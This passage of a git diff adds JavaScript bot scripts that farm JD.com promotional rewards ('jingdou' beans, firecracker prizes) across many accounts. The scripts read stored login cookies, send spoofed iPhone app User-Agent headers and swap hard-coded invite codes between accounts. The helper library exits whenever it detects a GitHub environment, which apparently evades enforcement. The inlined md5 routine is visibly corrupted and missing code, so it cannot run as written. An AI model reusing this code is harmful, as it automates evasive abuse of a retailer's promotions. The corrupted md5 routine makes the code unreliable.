i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers2.js b/activity/jd_firecrackers2.js new file mode 100644 index 0000000..2220d1e --- /dev/null +++ b/activity/jd_firecrackers2.js @@ -0,0 +1,321 @@ +/* +她的节,享京豆 +活动入口: +活动地址:https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#她的节享京豆 +10 8,21 * * * jd_firecrackers.js, tag=她的节享京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=她的节享京豆 + +===============Surge================= +她的节享京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js + +============小火箭========= +她的节享京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('她的节享京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyBean = 15 +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + $.earn = 0 + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + subTitle = `【京东账号${$.index}】${$.nickName}`; + message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` + if ($.total && notifyBean) { + for (let item of $.prize) { + if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 + if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 + await draw() + } + } + } + } + $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (info) { + $.earn = $.userInfo.tatalprofits - $.total + } else { + for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + let res = await doTask(task['_id']) + if (!res) { // 黑号,不再继续执行任务 + break; + } + await $.wait(3000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + $.total = $.userInfo.tatalprofits + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = data.match(/query\((.*)\n/)[1]; + data = JSON.parse(res); + if (data.ret === 0) { + console.log(`任务完成成功`) + } else if (data.ret === 1001) { + console.log(`任务完成失败,原因:这个账号黑号了!!!`) + resolve(false); + return; + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + let body = `level=1&type=2` + return new Promise(resolve => { + $.get(taskUrl('family_draw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.ret === 0) { + message += '领奖成功\n' + console.log(`领奖成功`) + } else { + console.log(`领奖失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global.js b/activity/jd_global.js new file mode 100644 index 0000000..4839a0b --- /dev/null +++ b/activity/jd_global.js @@ -0,0 +1,494 @@ +/* +环球挑战赛 +活动时间:2021-03-08 至 2021-03-31 +多个账号会相互互助 +活动地址:https://gmart.jd.com/?appId=54935130mart.jd.com/?appId=54935130 +活动入口:京东app搜索京东国际-环球挑战赛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#环球挑战赛 +0 9,12,20,21 8-31 3 * jd_global.js, tag=环球挑战赛, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 8-31 3 *" script-path=jd_global.js,tag=环球挑战赛 + +===============Surge================= +环球挑战赛 = type=cron,cronexp="0 9,12,20,21 8-31 3 *",wake-system=1,timeout=3600,script-path=jd_global.js + +============小火箭========= +环球挑战赛 = type=cron,script-path=jd_global.js, cronexpr="0 9,12,20,21 8-31 3 *", timeout=3600, enable=true + */ +const $ = new Env('环球挑战赛'); +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +const inviteCodes = [ + 'WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=@a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@M0JxTFVEbmxtV05uQWJVQVdyL2NxeTcycG1lcWtEbzVOc283bjR2MklkWT0=', + 'a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=', +]; +$.invites = []; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; 